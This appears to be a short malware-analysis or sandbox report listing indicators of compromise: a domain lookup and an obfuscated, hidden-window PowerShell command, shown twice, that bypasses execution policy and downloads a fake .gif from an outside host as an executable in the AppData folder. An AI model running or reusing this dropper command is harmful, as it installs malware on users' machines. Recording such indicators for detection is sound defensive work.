Technical Information
- http://www.wieekgodf.top/read.php?f=1.gif as %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "PowERshelL.ExE -eXeCUtiONpOLIcY BYPaSS -nOprOfiLe -windowStYlE hIDDeN (NeW-ObjEcT syStEM.nEt.wEBCLIENT).DOwNloAdFIle('http://www.wieekgodf.top/read.php?f=1.gif','%APpDaTA%.exe');...
- DNS ASK wi###godf.top
- '<SYSTEM32>\cmd.exe' /c "PowERshelL.ExE -eXeCUtiONpOLIcY BYPaSS -nOprOfiLe -windowStYlE hIDDeN (NeW-ObjEcT syStEM.nEt.wEBCLIENT).DOwNloAdFIle('http://www.wieekgodf.top/read.php?f=1.gif','%APpDaTA%.exe');...' (with hidden window)